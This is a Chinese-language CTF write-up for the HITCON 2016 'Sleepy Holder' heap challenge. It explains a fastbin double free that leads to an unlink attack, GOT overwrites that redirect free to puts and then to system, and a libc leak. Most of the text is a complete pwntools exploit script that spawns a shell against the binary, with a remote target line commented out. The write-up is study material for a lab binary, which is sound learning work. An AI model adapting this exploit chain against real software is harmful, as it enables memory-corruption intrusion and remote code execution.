今天仍然是复习unlink的原理和利用过程
这个跟Secret Holder类似的,只不过huge secret一旦创建就无法删除了和修改了(我之前写payload时候忘记了,还delete(3)。。。)
安全检查之后拖到IDA里面:菜单题
free功能好像没什么毛病
修改功能好像也没什么问题(难道问题在分配里面)
看到分配功能,也就是三个秘密分配,也没有什么分配函数读取越界溢出,或者off-by-null漏洞
然后大致只得到了,分配通过flag的位置是否为1,来判断的并且其相对的布局分别是
0x6020c0 =====>big secret ptr(大秘密堆地址) size 0xfa0(4000)
0x6020c8 =====>huge secret ptr(巨大秘密堆地址) size 0x61a80(400000)
0x6020d0 =====>small secret ptr(小秘密堆地址) size 0x28(40)
0x6020d8 =====>big secret flag(大秘密标志位)
0x6020dc =====>huge secret flag(巨型秘密标志位)
0x6020e0 =====>small secret ptr(小秘密标志位)
其实我一开始忘记了,堆的大小必须得是16的倍数(64位的)。。。然后我写payload创建堆的时候发现了大小是0x30,才想起来
也就是说必须得字节对齐,所以也就是后面的八个字节我们可以溢出修改大堆块的prev_size
so?那就可以伪造堆块进而触发unlink,随后就可以任意地址写了
这个是我一开始的慢慢调试的图片
首先是创建堆块,并且由于要达到释放堆块2时候触发unlink,所以进行以下操作
我就不截屏了
add(1,'b'*0x8)#small
add(2,'a'*8)#big
delete(1) #fastbin
add(3,'a'*8)#huge move into smallbin
delete(1) # double free
然后触发unlink
payload = p64(0) + p64(0x21) #fake header
payload += p64(small_ptr-0x18)
payload += p64(small_ptr-0x10)
payload += p64(0x20) #prev_size
add(1,payload)
#now time ,free(2) ==> unlink,and need put addr into ptr
delete(2)
此时big secret处于释放状态,此时有两种修改意见,一在申请回来,二、修改flag(刚好能够修改的位置是big secret和huge flag的位置)
add(2,'a'*8)#big
payload = "A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1)+p32(1)
update(1,payload)
update(1,p64(puts_plt)) # free->puts
然后就已经把put_got写入到了ptr1的位置,free_got写入到了ptr0的位置
然后在修改small指向free->put
然后释放big chunk就相当于打印了put函数地址(delete(2))
然后同样的修改ptr0-free–>system,然后修改ptr1(big chunk)–>bin/sh就可以了
add(2,'a'*8)
update(1,p64(system_addr))
update(2,'/bin/sh\x00')
最后在释放big chunk就获得了shell
完整exp
from pwn import *
#context.log_level = 'debug'
p = process("./sleepyHolder_hitcon_2016")
#p = remote('node4.buuoj.cn',28739)
sleepyHolder = ELF("./sleepyHolder_hitcon_2016")
libc = ELF("libc.so.6")
def add(index, content):
p.recvuntil("Renew secret\n")
p.sendline("1")
p.recvuntil("\n")
p.sendline(str(index))
p.recvuntil("secret: \n")
p.send(content)
def delete(index):
p.recvuntil("3. Renew secret\n")
p.sendline("2")
p.recvuntil("Big secret\n")
p.send(str(index))
def update(index, content):
p.recvuntil("Renew secret\n")
p.sendline("3")
p.recvuntil("Big secret\n")
p.sendline(str(index))
p.recvuntil("secret: \n")
p.send(content)
small_ptr = 0x6020d0
big_ptr = 0x6020c0
huge_ptr = 0x6020c8
add(1,'b'*0x8)#small
add(2,'a'*8)#big
delete(1) #fastbin
add(3,'a'*8)#huge move into smallbin
delete(1) # double free
payload = p64(0) + p64(0x21) #fake header
payload += p64(small_ptr-0x18)
payload += p64(small_ptr-0x10)
payload += p64(0x20) #prev_size
add(1,payload)
#now time ,free(2) ==> unlink,and need put addr into ptr
delete(2)
free_got = sleepyHolder.got['free']
puts_plt = sleepyHolder.plt['puts']
puts_got = sleepyHolder.got['puts']
print("free addr is : ",hex(free_got)) #free 0x602018
print("puts addr is : ",hex(puts_got)) #static puts 0x602020
print("puts_plt addr is : ",hex(puts_plt)) # 0x400760
add(2,'a'*8)#big
#gdb.attach(p)
payload = "A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1)+p32(1)
update(1,payload)
update(1,p64(puts_plt)) # free->puts
#gdb.attach(p)
#delete(3)
delete(2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print("system_addr",hex(system_addr))
#
add(2,'a'*8)
update(1,p64(system_addr))
update(2,'/bin/sh\x00')
delete(2)
#gdb.attach(p)
p.interactive()